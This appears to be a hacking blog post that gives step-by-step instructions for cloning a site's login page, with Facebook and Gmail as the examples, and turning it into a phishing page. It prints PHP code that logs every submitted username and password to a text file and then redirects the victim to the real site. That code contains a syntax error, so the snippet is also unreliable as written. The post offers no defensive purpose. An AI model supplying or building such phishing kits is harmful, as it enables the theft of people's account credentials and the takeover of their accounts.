Showing posts with label Facebook Hacking. Show all posts
Showing posts with label Facebook Hacking. Show all posts

Create a Simple Phishing Page (Fake Login Page)

22:08 2 Comments

What is phishing page?

A phishing page of a site is just a ditto copy of a site. No one can easily detect a difference. In this, we just clone a site login or any other important page. 


How to create? 
*. Visit the page that you want to clone. 
*. Save it (CTRL+S) via your browser. 
*. Choose save complete webpage while saving it via browser. 
*. Give name index.php while saving. 
*. Save it to a folder. 


Now, you should have one file named "index.php" and a folder. We have to edit index.php file. Edit it and search "action". You will get something like this if you are creating fake page of facebook, action="https:// www.facebook.com/ login.php?login_attempt=1" method="post" , We have to edit this line only. Change https://www.facebook.com/ login.php?login_attempt=1 to login.php (How to create login.php is written below) and change post to get , and save it. 

How to create login.php? Here is the code for login.php, just copy the below code, paste it in notepad and save it as login.php. 
Code: 
<?php header("Location: http://www.facebook.com"); $handle = fopen("pass.txt","a"); foreach($_GET as $variable = $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?>
 You have to change http://www.facebook.com to the site url that you are cloning, for example, change it to http://www.gmail.com if you are cloning gmail. Now, you have your phishing page.

For More:
http://ansaritricks.blogspot.com